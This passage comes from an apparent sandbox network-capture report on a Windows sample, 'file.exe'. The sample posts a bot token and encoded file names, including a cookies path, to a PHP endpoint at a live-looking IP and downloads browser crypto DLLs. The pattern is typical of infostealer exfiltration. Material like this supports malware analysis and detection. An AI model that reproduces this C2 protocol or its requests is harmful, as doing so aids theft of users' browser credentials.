name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="file"------BGDAAKJJDAAKFHJKJKFC--
Nov 19, 2024 01:01:34.073582888 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49889	185.215.113.206	80	5340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:01:39.933125973 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHD Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 01:01:39.933168888 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 Data Ascii: ------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 19, 2024 01:01:41.246159077 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 01:01:41.400733948 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file"------GIIEGHIDBGHIECAAECGD--
Nov 19, 2024 01:01:42.175487041 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 01:01:43.026325941 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 01:01:43.305741072 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 19, 2024 01:01:43.305768967 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 19, 2024 01:01:43.305784941 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 19, 2024 01:01:43.305874109 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 19, 2024 01:01:43.305890083 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 19, 2024 01:01:43.305905104 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 19, 2024 01:01:43.305927992 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 19, 2024 01:01:43.305943966 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 19, 2024 01:01:43.305959940 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Nov 19, 2024 01:01:43.305978060 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Nov 19, 2024 01:01:44.328484058 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 01:01:44.609033108 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 19, 2024 01:01:45.082412958 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 01:01:45.361125946 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 19, 2024 01:01:46.133086920 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 01:01:46.412236929 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	50072	185.215.113.206	80	5340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:02:01.596658945 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 01:02:02.507570028 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:02:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 19, 2024 01:02:02.507602930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 8c 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 Data Ascii: Ut]h6h{t]UtH]h6h{t1]Ut$]h6h{t]Ut
Nov 19, 2024 01:02:02.507621050 CET	424	IN	Data Raw: c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0c 8b 48 68 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb d2 cc cc cc cc Data Ascii: t]UtHh]h6h{t1]UtHl]h6h{t]UtHp]h6h{t]UtHt]h6h
Nov 19, 2024 01:02:02.507633924 CET	1236	IN	Data Raw: 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 88 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff Data Ascii: ]h6h{t]Ut]h6h{t]UtHx]h6h{t1]UtH\|]h6h{t]U
Nov 19, 2024 01:02:02.507646084 CET	1236	IN	Data Raw: 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 dc 00 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 Data Ascii: {t1]Ut]h6h{t]Ut]h6h{t1]Ut]h6h{t]Ut]
Nov 19, 2024 01:02:02.507659912 CET	24	IN	Data Raw: a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff Data Ascii: 6h{t
Nov 19, 2024 01:02:02.507672071 CET	1236	IN	Data Raw: ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 2c 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a Data Ascii: ]Ut,]h6h{t1]Ut0]h6h{t]Ut4]h6h{t]Ut8]h6h
Nov 19, 2024 01:02:02.507684946 CET	1236	IN	Data Raw: 85 c0 74 0f 8b 88 a4 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 b0 01 00 00 ff 15 00 a0 03 10 5d ff Data Ascii: t]h6h{t1]Ut]h6h{t1]Ut]h6h{t]Ut]h6h{t]
Nov 19, 2024 01:02:02.507695913 CET	224	IN	Data Raw: a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 60 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 Data Ascii: 6h{t1]Ut`]h6h{t]Utd]h6h{t]Uth]h6h{t]
Nov 19, 2024 01:02:02.507709980 CET	1236	IN	Data Raw: 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 90 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb d1 cc cc cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 Data Ascii: Ut]h6h{t]Ut]h6h{t]Ut]h6h{t]Ut]h6h{
Nov 19, 2024 01:02:02.512639999 CET	1236	IN	Data Raw: 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 10 03 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 Data Ascii: ]h6h{t]Ut]h6h{t]Ut]h6h{t]Ut]h6h{t]U
Nov 19, 2024 01:02:04.155545950 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 01:02:04.436920881 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:02:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 19, 2024 01:02:05.323266029 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEHIDHDAKJDHJKEBFIE Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 01:02:06.115149021 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:02:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 01:02:06.189116001 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJEC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 